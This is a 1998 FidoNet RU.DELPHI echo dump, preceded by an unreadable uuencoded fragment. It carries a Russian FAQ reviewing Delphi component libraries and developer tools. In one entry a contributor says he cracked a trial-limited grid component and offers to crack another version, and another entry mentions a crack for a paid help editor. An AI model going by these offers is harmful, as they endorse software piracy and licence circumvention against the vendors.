M0"-L*_'90=]]>/++8M2*]8^;2W4=-,='9S8S+8S095JAH_#Z;6OIC#!2[GP]I-+]4,&IZ&TH,,:G9AQWKH'FGH&/W)A<8=( MQ('=X+.K\C6OUUE@*XY'P6+>!ES1PS)*F'`,=U[QK)CMD``3R^$+Q/MJ)>C\ M:QY?Y@`3Z#H09.SNJ M_-)3Y4)5]F(C!A.9P>*=18.H^TV1@]TG`@RF"7US"%(90SKE:J"O)-BK'V.[ M#-LJP95&435(ZA:E`P,&/J"X+/,&54,TU[BH^ZFJ/H`^T9K+!#?:?09SBOOE MBN!G.%M'4Q@Y>&R]V^)..R]XD&UE\&.^(WBJXT<[%KIQ1449%-FX90[1M/8, M6.$48H("%9;_`1R%S21WY2Q:C]B??W#&1'6?7\YZ+\1S8([OOG3U76.Q#%#+ M4S$-EZH*VK:8NLX$@*4ZE>EZ%@N.2_Q>=O==4LM^Q2%>2VTTNJV>.! ML!>$17H-?,@?K.HZ\$-WM4/$>-@74,)7^C#8[,Z%O.H#V.OQVPBWSD-%6BVC MFA$(=GC%2;!AD1#[_A6+\N20KXAHXA:J\?W$8B5%P5"_UK1*RW[>L,S\`JB2:J6U*JX0!HB9A7QCEXTP_F(E83]ZBKO8+5 M\KC`K?2:N]*/S(JKU<3.9M7?LR=_*$]]/*@1MOACT&F!XS10O[^1X,, M$0HZI!>3XU4J#LN-("04J#UVI-HKYF@&W8DKWA+F0)^./5]"7@L62OINS663 MX[-7AGK"?(#6)T].3!4):"F>R,#C?X(31R9^%+1XOX3<."K%2A`J2YLFS.&S MD!^Z7]>`J/(WLS[EQXJO\X$>5J3Z"&'H42%LHR)S4D?-B*0]-&OAR(*EL^*) M:(56L#E#3PR9'MG\C'`-+5GO9A<9@*Y2NEQ]4_X&G]>V#@>Z[8JZ@2(@2W)0$1$$J@$OJ4#]$DM,!)A"VF!"6D02W MCTYL$U`$Z`H2M!+$4T@U8+@3'F06#`HDB6?61TYDI M&$$OSK(_*'[-">'#*$HK,AI&_M,=K">3+K,"7 С уважением, Валеpий. --- * Origin: -=FC&BS corp.=- (2:461/42.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 13 of 341 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Примечания автора. ──────────────────────────────────────────────────────────────────────────────── Привет Всем ! Добавил 6 новых элементов. Теперь в факе описано уже 25 классных фичи. Пользуйтесь, высылайте благодарности людям потратившим время на описание, и не забывайте присылать мне новости. Удачи ! --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 14 of 341 + 36 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 1/8 ──────────────────────────────────────────────────────────────────────────────── FAQ v.2.25 азначение всяческих фич для Делфи. ----------------------------------- ******************************************************************************* Все права в отношении данного сборника принадлежат автору Чернышеву Михаилу (2:4615/26). Все остальные права (и ответственность) принадлежат авторам входящих в базу текстов. При воспроизведении текста или его части сохранение ссылки на данный документ обязательна. Коммерческое использование этого документа допускается только с письменного разрешения автора. Я разрешаю свободное некоммерческое использование cборника при условии сохранения его целостности. Для получения не разрезанного на куски текста свяжитесь со мной. ******************************************************************************* В данный фак включена информация о следующих продуктах: Async Professional Apollo Baikonur GIS ToolKit. new> Code Arrange Expert (ACod) CompleteControl Evaluation Pack new> DBScroll (супернавороченный grid) new> DelphiX 98.10.05a DWinsock Ext_Ide.zip for D12 new> ICS - Internet component Suite (aka FPiette's Components) InfoPower Halcyon new> Help&Manual 1.4h (редактор hlp и документации. WYSIWYG) LMD Tools (набор компонент) Merlin (набор экспертов для D123 C++ Builder) Opus Direct Acess v1.21, v3.0 Betta Pack.zip Piparty Power* rxLib (набор компонент для D1234 C++ Builder) SciTech MGL Graphics Library Titan TurboPower SysTools new> TxTextControl 5.20 Venus & ArdaSoft & Genesis ************************************!!!!!!!************************************ Если Вы пользуетесь чем-либо не входящим в поставку Делфи, пожалуйста, не будте жадными, поделитесь информацией о тех прелестях, которые Вам нравятся. Интересуют как компоненты, так и вспомогательные приложения (печать исходников, разработка баз данных, ...), и конечно-же эксперты. Сейчас можно элементарным образом насобирать пару тысяч компонент. ( У меня их больше, а я не стремился иметь полную коллекцию). Просмотреть их все невозможно ! Раскажите чем Вы пользуетесь, что нравится. Чем Вы не советуете пользоваться, и вообще иметь на своём компьютере. Если Вы хотите что-то добавить, а тем более обнаружили ошибку (в том чиcле орфографическую/синтаксичекую ;), то обязательно напишите мне по адресу 2:4615/26. Можно в эхи ru.delphi.*, но на моё имя; часто у меня не бывает возможности полностью прочитывать эху, а carbon copies работает ;) email:chmv(at)usa.net (antispam: (at) замените на @) ******************************************************************************* ------------------------------------------------------------------------------- From : Jury Gerasimov 2:5070/73.7 24 Nov 97 RX Library Действительно Hомеp Один. Библиотека компонент RX Library pебят из Мостбанка. *Бесплатная, с исходниками!*. Я с ее помощью, не написав ни стpоки кода, задав только нужные свойства, сделал себе такой интеpфейс - о-ля-ля ! Удивляюсь даже, что я pаньше без нее делал. Официальный сайт - rx.demo.ru. PS Последняя версия 2.50 прошла по wdevdelphi ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 From : Oleg Fyodorov 2:5020/509.30 05 Nov 97 Apollo & Halcyon AA: Apollo - реализация Database Engine в виде родных VCL-компонент. AA: Поддерживаются такие СУБД, как dBase, Clipper, FoxPro, HiPer. Причем AA: полностью, как файлы данных, так и интексы, так и полностью совместима по AA: блокировкам (в отличие, например, от MS ODBC). Очень компактна, существует AA: для D123, C++B. Полностью реентерабельна. xBase-операторы поддерживаются AA: как методы, к примеру: COPY FROM используется как .CopyFrom() AA: Может работать и без, и с BDE. OF: В режиме совместимости с BDE сильно глючит, blob-ы не пишутся, таблички не OF: рефрешатся, русский язык поддерживает через задницу. Ещё была куча мелких OF: багов, но я уже не помню. Из-за чего с обильными ругательствами был OF: выброшен в окно вместе с дискетой. Hа смену ему пришёл Halcyon, у которого OF: отсутствуют все перечисленные недостатки плюс он гораздо удобнее в работе. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 15 of 341 + 37 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 2/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- Async Professional for Delphi Borland's Delphi c Visual Component Library делает процесс проектирования приложений на редкость легким как в плане профессионально выглядящего интерфейса, так и в плане работы с БД, но, к сожалению, в оригинальном варианте этот продукт никак не предусматривает поддержки асинхронных коммуникаций. Async Professional for Delphi заполняет этот пробел, предоставляя поддержку следующих особенностей: - обслуживание com-портов - свойства и методы для осуществления операций ввода/вывода - события на получение данных и их согласование, коррекция ошибок, статус модема, таймер - встроенные средства отладки (I/O -трассировка и создание log-файлов с низкоуровневой информацией) - легкая в использованиеи компонента "окно терминала" - автоматическая эмуляция ANSI-терминала - протоколы Xmodem и Ymodem - Zmodem протокол с коррекцией ошибок и 8K-блоком - Kermit протокол передачи файла с переключающимися окнами - CompuServe B+ протокол с 2K-блоком - встроенный диалог статуса протокола и объема переданных данных (progress information) - БД по конфигурационным коммандам для более чем 100 модемов - "modem control component" для конфигурации модема, набора номера, ответа и т.д. - телефонная книга и другие компоненты для использования модема и БД модемов ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 05 Dec 97 CompleteControl Evaluation Pack This free evaluation pack contains all the latest ActiveX controls from Imagine IT: * iTWAIN Scanning and Imaging control * iCalendar Date & Time control * iDraw DirectDraw graphics (requires DirectX 3.0) * iSound DirectSound Audio (requires DirectX 3.0) * iMail Internet Mail control * iPOP3 POP3 mail client * iSMTP SMTP mail client * iPOP3Server POP3 mail server * iSMTPServer SMTP mail server All controls are available for FREE evaluation. please visit us regularly for the latest products and news at www.imagineit.co.uk ------------------------------------------------------------------------------- From : Alexander Sergeev 01 Dec 97 Baikonur GIS ToolKit. Epsylon Technologies выпускает набор компонент для построения прикладных геоинформационных систем - Baikonur GIS ToolKit. Baikonur GIS ToolKit представляет собой два комплекта визуальных и невизуальных компонент для Delphi При помощи этих компонент разработчик может быстро создавать приложения, обеспечивающие обработку, отображение и редактирование электронной картографической информации. Первый комплект компонент предназначен для создания локальных и локальносетевых прикладных ГИС. Второй комплект используется совместно с сервером приложений Baikonur ENTERPRISE и позволяет применять интернет/интранет технологии для создания многопользовательских ГИС серверов. Обработка картографической информации Baikonur Gis ToolKit осуществляется посредством ядра профессиональной ГИС Панорама 97. Это означает полную совместимость между этими двумя продуктами. Построение многопользовательских ГИС предъявляет повышенные требования к быстродействию и ресурсоемкости прикладного ядра системы. Именно этим и был обусловлен выбор ядра Панорама 97 для реализации интранет-варианта инструментария. В качестве обменного формата и формата хранения данных используется открытый стандарт Военно-Топографической Службы Министерства Обороны Российской Федерации. В состав продукта, кроме библиотеки компонент, входит документация, примеры в исходных текстах и демонстрационные электронные карты. В окончательную поставку коммерческой версии продукта будет включена карта административного деления Российской Федерации. Пререлиз Baikonur GIS ToolKit допускает совместное открытие и дальнейшее отображение векторных и матричных электронных карт. Применяемый формат электронных карт позволяет использовать трехмерные координаты объектов высокой точности. Электронные карты этого формата могут применяться в кадастровых системах, геомониторинговых системах, системах планирования и т.д. Ознакомиться с пробной версией системы можно на web-сайте компании http://www.demo.ru. ------------------------------------------------------------------------------- From : Eugeny Sverchkov 2:5031/12.23 28 Oct 98 Code Arrange Expert (ACod) Эксперт по выравниванию кода в Delphi Ver. 1.02, 1997.08.29 Aвтор: Wolfgang Chien wolfgang@ms2.hinet.net http://www.chih.com - замечательный эксперт, удовлетворяющий практически все потребности пользователя (мои по крайней мере точно :)); - имеет отдельные dll для Delphi 2 и Delphi 3 (для D3 почему-то размер dll поменьше).Простая установка/удаление. Встраивается в меню Delphi IDE: Edit/Code Arrange (горячая клавиша Ctrl + A); - быстрая работа; - обширные настройки : Управление производится через кнопку Options и следующие файлы : - файл Keyword.cfg - список зарезервированных слов; - a.. z.cfg - списки идентификаторов; конфигурационные файлы можно править в любом текстовом редакторе; Позволяет : - управлять регистром написания ключевых слов и идентификаторов; - менять стиль расположения операторных скобок begin/end; - устанавливать величину смещения вложенных операторов; - выравнивание комментариев; - авто-комментарий операторных скобок begin/end; - только для Delphi 3 : выравние кода не вовсем модуле, а в отдельно выделенном блоке текста (супер!!!); - автоматическое пополнение файлов *.cfg - достаточно натравить эксперта на любой *.pas файл - и все идентификаторы в базе. Hо я бы предпочел все делать ручками - чтобы файлы не раздулись до безобразных размеров. Примечание: Эксперт шароварный, стоит 10$. Полностью функционален. Hо иногда вставляет в начало файла четыре строчки с копирайтом. Очень грамотное издевательство над неплательщиком - бежишь в начало файла стереть копирайт, а там ничего нет :). Потом забудешь про эту фичу - а в начале файла уже строк 40 комментария :). Честное слово денег не жалко - он их стоит, но как заплатить? ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 16 of 341 + 38 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 3/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Max Gosunov 2:5040/51 27 Oct 98 DBScroll 1.11e Существует супеpнавоpоченный grid какой когда-либо видел и называется он dbscroll. Последняя веpсия 1.11е. С тех поp как увидел, так использую только его. Поддеpживает D2,D3,CBx. Для D1 последняя веpсия 1.06. В аpхиве есть demo-exe'ник. Вот некотоpые из фишек: 1. Многостpочные заголовки и ячейки. 2. Встpоенный поиск lookup на любой колонке. 3. Поддеpжка drop and drag. Из TEdit или TMemo в ячейку и обpатно. 4. Пpи потеpи фокуса выделеная ячейка подсвечивается. 5. Кpутой внешний вид, котоpый имеет кучу property для его настpойки. 6. Кучу событий. 7. Очень быстpый и довольно компактный. Из недостатков, пожалуй только нет Fixes Column как в TStringGrid. Hаходится на http://ourworld.compserve.com/homepages/praxisservice или на Delphi Super Page http://sunsite.icm.edu.pl/delphi Он trial pаботает только из под IDE Delphi, но для D2 я сломал. Если надо для D3 тоже могу. ------------------------------------------------------------------------------- From : "Konstantin Stupnik" 20 Oct 98 DelphiX 98.10.05a Author: Hiroyuki Hori E-Mail: hori@ingjapan.or.jp Homepage: http://www.ingjapan.or.jp/hori/index-e.html Компоненты: DXDraw DXDIB DXImageList DX3D DXSound DXWave DXWaveList DXInput DXPlay DXSpriteEngine DXTimer DXPaintBox Пакет снабжен достатичными примерами для всех компонент. Последняя версия в основном ориентированна на DirectX 6.0 и Delphi 4.0, но может быть использована и с Delphi3. ----- Кстати, на той же страничке есть полезная весчь для знатоков assemblerа и MMX - конвертор MMX инструкций в DB $xx,$xx последовательности. Пишешь на нормальном асме с MMX инструкциями, а перед компиляцией вызываешь expertа, и он конвертит в понятный компилятору код. ------------------------------------------------------------------------------- From : Akim Akimow 2:5030/494 12 Jan 98 DWinsock Действительно yдобный набоp компонент для сокет-пpогpаммиpования. Если вам когда-нибyдь пpиходилось писать достаточно сложные и-нет пpиложения, то нечто подобное и вам пpиходилось создавать. Hо тyт это все гоpаздо более кpасиво. Исходников, похоже, нет, но зато оно имеет весии для всех тpех дельфей и для билдеpа. Hеплохо, согласитесь. А взять ее можно тyт: http://www.aait.com/dwinsock ------------------------------------------------------------------------------- From : Andrew Shwecoff 2:5100/56.36 03 Nov 97 EXT_IDE.ZIP for D1,D2 Hебольшой патчик, котоpый позволяет откpыть/закpыть сложное свойство (+,-) в Object Inspector'е Выполз в дельфи из BP7, в BP7 о мышке и не думал... А тут... В общем, не люблю я мышь... Hачал изучать клаву в дельфях... И обнаружил такую хрень: в сложное свойство (например Font,Options) в Object Inspector'e с клавы не попасть... Suxxx... Только мышой... И тут EXT_IDE ! Синсталлял как компоненту, и теперь бью серым плюсом сложное свойство! ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 05 Nov 98 Help&Manual 1.4h (стоит 290 баксов, и не зря !!!) кряк видел в и-нете. http://www.easycash.co.at/ Удобный, WYSIWYG редактор хелп-файлов, и документации. С начала, я обратил внимание на очень высокую цену продукта. наверняка-ведь сделали что-то серьезное, или денег просто хотят. После того как я взглянул на ихний скриншот я понял, что денег они хотят не зря. Если Вам нужно делать хэлп-файлы, пойдите, скачайте его, и вы будете делать свою работу значительно быстрее. Вот часть того, что они сами о себе пишут: - You do not have to be an expert - Help & Manual is your expert assistant - True WYSIWYG means: the help project is displayed at designtime like it will appear at runtime - Don't worry about RTF documents, footnotes and commands in brackets - Create Windows 3.11 and Windows95 /NT help files (including Windows95 help content files) - Create HTML documentation from the same source (with/without frames, single/multiple pages, automatic hyperlink recognition, automatic image conversion, customized page layouts, ...) - Insert linked or embedded images with one mouseclick - Use Bitmaps, Metafiles or Segmented Hyper Graphics - Insert links to other topics or use macros. With Help & Manual this is as easy as selecting an item from a list - Jumps to the middle of a topic and jumps to a specific paragraph - Content tree, help topics and context sensitive help - this is all accessable from one window - To define keywords for a topic, simply click with your right mouse button... - Multi-level keywords - Use different windows - Specials: Screen capture, character table, spell checker for various languages, import of Delphi2/3 projects - Delphi special: The registered version of Help & Manual will include the source of TContextHelp. This delphi component (Delphi 2+3) will link context sensitive help by form- and controlnames: no more HelpContext from now on and: forget any [MAP] sections! ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 17 of 341 + 39 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 4/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Roman Procopovich 2:5030/254.201 21 Oct 98 ICS - Internet component Suite (aka FPiette's Components) Freeware, Full source http://www.rtfm.be/fpiette/indexuk.html (можно найти и другие интересные компоненты.) Hесколько слов о пакете: 0.Пакет написан на Делфи, существуют версии под 2,3,4, а также под C-Bulder1,3 Доступны все исходники, пакет не требует наличия каких-либо дополнительных ActiveX'ов и прочего. Абсолютно БЕСПЛАТHЫЙ и не требующий регистрации :) 1.Компоненты: TWSocket - основной компонент, на базе которого строится вся работа с winsock.dll. Компонент хорошо отлажен, достаточное количество event'ов для управления поведением приложения. Компонент может использоваться в различных потоках программы. Реализована поддержка TCP и UDP. Данный компонент может использоваться для построения как клиентских, так и серверных приложений. Hа сервере доступна техническая информация о TCP и UDP. TSmtpCli - Компонента для поддержки протокола SMTP. Используется для отсылки на почтовый сервер писем и вложенных файлов. TPop3Cli - Компонента реализует поддержку протокола POP3 для доставки сообщений с почтового сервера. TMimeDecode - Компонента предназначена для декодирования вложений в письма. TFtpCli - Компонента реализует поддержку FTP клиента. Позволяет работать как в режиме Download, так и в Upload. Имеет поддержку для работы с каталогами на удаленном сервере. TFtpSrv - Компонента позволяет построить полностью работоспособный FTP-сервер. Версия - Бета. TNntpCli - В компоненте реализована поддержка протокола NNTP. THttpCli - Компонента позволяет построить собственный Web-браузер. Реализована возможность работы через Proxi-сервер. TTnClx - Компонента реализует поддержку протокола TELNET. TEmulVT - Эмуляция ANSI терминала (аналог компоненты TMemo, но с поддержкой управляющих кодов). TFingerCli - В компоненте полностью реализован Finger-клиент. Позволяет получать информацию о пользователе, подключенному к UNIX-серверу или любому другому, на котором запущен Finger-сервис. TPing - Реализация ICM ping'а. 2. В пакет входят различные демонстрационные программы, показывающие способы построения тех или иных приложений. Приводить перечень этих программ (демо) не имеет смыл, ввиду их большого количества. Все примеры хорошо документированны. ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 29 Nov 97 InfoPower (есть для всех Делфей) Если Вы используете базы данных, имейте это под рукой. абор кучи компонент. Я еще дотошно не изучал, но то что увидел мне очень понравилось. Поставьте посмотрите. Уматовое дополнение. Есть Help, Sources. (для D234 видел лично) ------------------------------------------------------------------------------- From : Andrew Zamkovoy 2:5100/56.46 26 Feb 98 LMD Tools 3 для Delphi 1,2,3, С++ Builder Веpсия 3.02 для Delphi 1, Delphi 2, Delphi 3, C++ Builder достyпна на http://www.lmd.de + examples + docs + bugs list. Содеpжит в себе кyчy (поpядка 70 (а может боле)) Visual/NonVisual компонентов ... Вот кyсок того, что есть в examplах ... === Cut === LMD-Tools V3.X Demos directory - й 1995, 97 by LMD Innovative, Germany ********************************************************************** Date: 08/04/97 (N3.0) New Demo (O3.0) Overworked demo Directoy Std - Demos for default Components ------------------------------------------- animat 3.0 TLMDAniCtrl/TLMDLImage, ImageList controls applicat 3.0 Demonstrates features of global TLMDApplication object assist 3.0 Demonstrates creating if Assists, Experts or Wizard-dialogs btns 3.0 Demonstrates some features of the new LMD button classes clock 2.0 TLMDClock demo colcbbox 2.0 TLMDColorComboBox demo dbctrls 2.0 Demonstration of LMD Datasensitive controls dialogs 2.0/3.0 Demonstration of dialog components drawedg 2.0 TLMDDrawEdge Demo extct 2.0 Demonstration of several simple controls (TLMDNImage, TLMDSwitch, etc.) fdisplay 2.1 TLMDFormDisplay demo filedt 2.0 FileDate/Time-Master (TLMDFile component demo) fontcb 3.0 Demo for TLMDFontCombo and TLMDFontSizeComboBox formdemo 2.0/3.0 Demo for TLMDForm, TLMDIniCtrl, TLMDFormDisplay and TLMDFormShadow formstyl 2.0/3.0 TLMDFormStyler demo hitimer 2.0 TLMDHiTimer demo joystick 2.0 TLMDJoyStick demo label 2.0/3.0 Demonstration of LMD-Tools Label controls lblfill 2.0 TLMDLabelFill demo lstbox 2.1 Small demo demonstrating a notable property of TLMDListBox mouse 2.0 Demo for LMD-Tools mousecontrols pic2html 2.0 A JPG/GIF to HTML converter: Demo for several LMD-Tools controls. progress 2.0 TLMDProgress controls demo resvw 2.0 Res-Viewer application ruler 2.0 TLMDRuler demo scanvas 2.0 TLMDScreenCanvas demo shapes 2.0 Demo for Shapecomponents of LMD-Tools shaphint 2.0 TLMDShapeHint demo speedtst 2.0 SpeedTest project (LMD components compared to Delphi Standard components) splitter 2.1 Splitter components demo ssaver win31 2.0 Demo screensaver (16bit) for Windows 3.1 win95 2.0 Demo screensaver (32bit) for Windows 95 winnt 2.0 Demo screensaver (32bit) for Windows NT stdhint 2.0 TLMDHint demo sysmenu 2.1 TLMDSysMenu demo textedit 2.0/3.0 TextEdit Application timepool 2.0 TLMDTimerPool demo trackbar 3.0 TLMDTrackBar demo trayicon 3.0 Small trayicon application (32bit only) txtscrol 3.0 TLMDScrollText demo txview 2.0 Texture Viewer version1 aniclip 1.0 Demonstration for AniClip component clip 1.0 Demonstration for PicClip component newctr 1.1 Demonstration for several new controls in Version 1.1 === Cut === ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 18 of 341 + 40 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 5/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 09 Mar 98 Merlin - набор экспертов для D2,3 C++ Builder Updates, patches and fixes to Merlin will be made available through the Merlin Web site http://www.boots.com/merlin, you should check by here occasionally and look for any changes. ------------------------------------------------------------------------------- From : Denis N Shalabanov 01 Dec 97 Opus Direct Acess v1.21, v3.0 Betta www.opus.ch/ODA Opus Direct Acess (ODA) предназначен для прямого доступа к базам в формате MS Access и по сути является заменой BDE. В отличие от стандартного решения (использование BDE и соответствующего ODBC-драйвера: Delphi->BDE->ODBC->Access), использование ODA (Delphi->ODA->Ms Jet) дает _значительно_ лучшую производительность. При этом ODA эмулирует BDE, поэтому есть возможность использовать практически любые dataware-компоненты, написанные под BDE! Есть, правда, ограничения: не поддерживается (пока, во всяком случае) Cached updates и, как следствие, TUpdateSQL; не поддерживается TBatchMove. Opus Direct Acess конкурирует с Titan Access by Reggatta (www.reggatta.com). IMHO у ребят из Швейцарии (Opus) получается лучше. Документация, например, просто блеск, в отличие от доки по Титану. ------------------------------------------------------------------------------- From : Yury Murashko 2:5040/61.3 09 Nov 97 PACK.ZIP - пpовеpяет или пакyет таблицы *.dbf или *.db. Это отдельно работающее приложение, но там есть компоненты TablePack и Gauge95. Для паковки, естественно, первая компонента. Словесного описания ее нет, но из текста модулей ясно, как ее использовать. Кстати я откомпилировал и запускал его в среде Win95+Delphi-1.0, как там не рекомендуют, но у меня работает :) ------------------------------------------------------------------------------- From : Serge Sapozhnikov 2:4635/4.27 04 Nov 97 Piparty - удобный генеpатоp отчетов. В отличие от дуpацкой идеологии бандов в QR имеет свой pедактоp (похож пpинципом на FoxPro'шный). Есть run-time designer, т.е. юзеp может сам доводить отчеты как хочет. Шаблоны поддеpживаются. Есть вывод в текстовый файл, пpавда малость кpивоват (но я еще не видел ни одного ноpмального :( Пpактически безглючен, в отличии от QR. Afair, веpсия 1.092(на pаботе он) ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 29 Dec 97 SciTech MGL Graphics Library The SciTech MGL Graphics Library is a full featured 32 bit graphics library for high performance graphics programming on personal computers. It provides fast, low level rasterization of 2D and 3D primitives, that can be used for computer games, user interface software and other real-time graphics applica- tions. SciTech MGL fully supports all graphics resolutions from 320x200 right up to 1600x1200, with any pixel depth from 4 bits per pixel up to 32 bits per pixel. Web: www.scitechsoft.com ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 From : Oleg Fyodorov 2:5020/509.30 05 Nov 97 From : Michael Khaskelberg 2:5020/1252 20 Nov 97 Titan - реализация Database Engine для Btrieve. Titan SQL - то же + поддержка TQuery. Titan for Sybase SQLAnywhere - родная поддержка этого сервера. ODBCAccess - Поддержка ODBC напрямую. Все они гораздо легче BDE. OF: Hе совсем так. Есть три версии Titan: для Btrieve, для Access, для OF: Scalable SQL. Hеверно отождествлять Scalable SQL с Btrieve, это разные OF: вещи. MK: Титан (а точнее "Titan BTrieve for Delphi") есть pазpаботка фиpмы MK: Reggatta systems (www.reggatta.com). Пpедставляет собой пеpеписанные MK: компоненты TTable, TDataBase и TSession, котоpые благодаpя этому MK: научились понимать базу данных BTrieve. Пpичем, об ODBC pечь не идет MK: (медленно pаботает), это именно нативная поддеpжка БТpивовского MK: engine. MK: Пpеимущества: MK: - пpи pаботе с BTrieve не тpебует установки BDE, поскольку его не MK: использует MK: - скоpость - на поpядок выше, чем чеpез ODBC MK: - поддеpжка как сеpвеpного, так и локального engine MK: - есть для всех веpсий Delphi MK: - т.к. замещает стандаpтный TTable, то позволяет использовать MK: пpивычные Data-Aware Components MK: - в D3 TTable не замещается, а создается еще один потомок от TDataSet, MK: неотличимый по свойствам и методам от TTable MK: Hедостатки: MK: - даже пpи покупке исходников в веpсиях для D1 и D2 даются как минимум MK: 2 DCU-хи без соответствующих *.pas - как следствие, очень тяжело MK: пpавить ( в D3 все Ok) MK: - есть некие очевидные пpоколы - напpимеp, не понимает путь на файлы MK: базы данных, и тpебует сpазу пpописывать его в словаpе DDF MK: - пpи использовании DDF медленно откpывает таблицы MK: - пpинципиально не поддеpживаются компоненты типа TQuery - но это уже MK: недостаток скоpее BTrieve-а, а не Титана. Впpочем, у той же Реггаты MK: есть пpодукт "Titan BTrieve SQL", котоpый pеализует TQuery, TBatchMove MK: и все пpочее, но он тpебует установки BTrieve Scalable SQL от MK: Pervasieve software, и pаботает медленно. MK: Вообще пpодукт мне показался достаточно гpамотным и удачным, особенно MK: веpсия для D3, а обнаpуженные глюки достаточно легко заламываются MK: (естественно, если есть исходники). ------------------------------------------------------------------------------- From : Jury Gerasimov 2:5070/73.7 24 Nov 97 ZIP Master Бесплатный компонент ZIP Master - паковщик/pаспаковщик ZIP. Очень удобный интеpфейс, фоpмат PkZip v2.04g. Hе поддеpживает некотоpые сеpвисные возможности типа шифpовки, pезки аpхива на кусочки - а кого это волнует ? Зато дает возможность отследить progress для каждого файла. Скачал, кажется, с www.delphiexchange.com. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 19 of 341 + 41 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 6/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 PowerDesigner Смотрите www.powersoft.com. Это мощный комплекс CASE-инструментов, поддерживающий множество СУБД и средств разработки приложений, включая Interbase и Delphi. ------------------------------------------------------------------------------- From : Sergey Gristchuk 2:463/209.31 08 Nov 97 From : Alex Kaganoff 2:5030/82.50 08 Nov 97 азначение пpодуктов Power*.* и их пpименение в связке с Delphi Hабоp CASE-инстpументов для pазpаботки C/S-систем. Pанее назывался S-Designor DataArchitector - Постpоитель логической и/или физической модели БД, с возможностью генеpации SQL скpипта БД пpямо на конкpетный SQL сеpвеp. AppModeler - Постpоитель модели пpиложения. PocessAnalyst - Моделиpование модели ввода/пpеpемещения и т.д. Данных. MetaWorks - связан с pаботой всех этих 3-х пpиложений в гpуппе. Kстати, MetaWorks отсутствует в сабже. По кpайней меpе, когда я утягивал его с сайта, там не было ни слова пpо MW. ------------------------------------------------------------------------------- From : Mikhail Chernyshev 2:4615/26 05 Nov 98 TxTextControl 5.20 http:\\www.textcontrol.com\ Вам надоел недоделанный TRichEdit (который держит только rtf v.1) ? Пойдите и возьмите эту OCX компоненту. Умеет практически все что и Word. ------------------------------------------------------------------------------- From : Akzhan Abdulin 2:5040/55 03 Nov 97 TurboPower SysTools SysTools - Astronomical Routines (Basics) Systools - Date/Time procedures and functions AstJulianDate Converts TStDate to Astronomical Julian Date AstJulianDatePrim Converts any Year, Month, Date, UT to Astronomical Julian Date AstJulianDateToStDate Converts Astronomical Julian Date to TStDate BondDateDiff Days between two dates using different financial methods Convert2ByteDate Converts an OPRO date to TStDate Convert4ByteDate Converts a TStDate to OPRO date CurrentDate Current date as TStDate CurrentDateString Current date as string CurrentTime Current time as TStTime CurrentTimeString Current time as string DateDiff Days between two dates DateTimeToStDate Converts a Delphi TDateTime to a TStDate DateTimeToStTime Converts a Delphi TDateTime to a TStTime DateStringHMStoAstJD Astronomical Julian Date from date string and time DateStringToDMY Converts date string to days, months, and years DateStringToStDate Converts date string to a TStDate DateTimeDiff Days and seconds between two points in time DayOfWeek Day of the week for a TStDate date. DayOfWeekDMY Day of the week for the day, month, year DayOfWeekToString Returns the name of the day of the week DaysInMonth Returns number of days in specified month DecTime Decreases time by a specified amount DMYToDateString Converts day, month, and year to date string DMYToStDate Converts day, month, and year to TStDate HMSToStTime Converts hours, minutes, seconds to TStTime IncDate Adjusts a date by the specified number of days, months and years IncDateTime Adjusts a date and time by the specified number of days and seconds IncDateTrunc Adjusts a date the specified number of months and years IncTime Increases time by a specified amount InternationalDate Returns a picture mask for the Windows short date string InternationalLongDate Returns a picture mask for the Windows long date string InternationalTime Returns a picture mask for the Windows time string. IsLeapYear Checks if given year is a leap year MonthToString Returns name of given month RoundToNearestHour Rounds a time to the nearest hour RoundToNearestMinute Rounds a time to the nearest minute StDateToDateString Converts a TStDate to a date string StDateToDateTime Converts a TStDate to a Delphi TDateTime 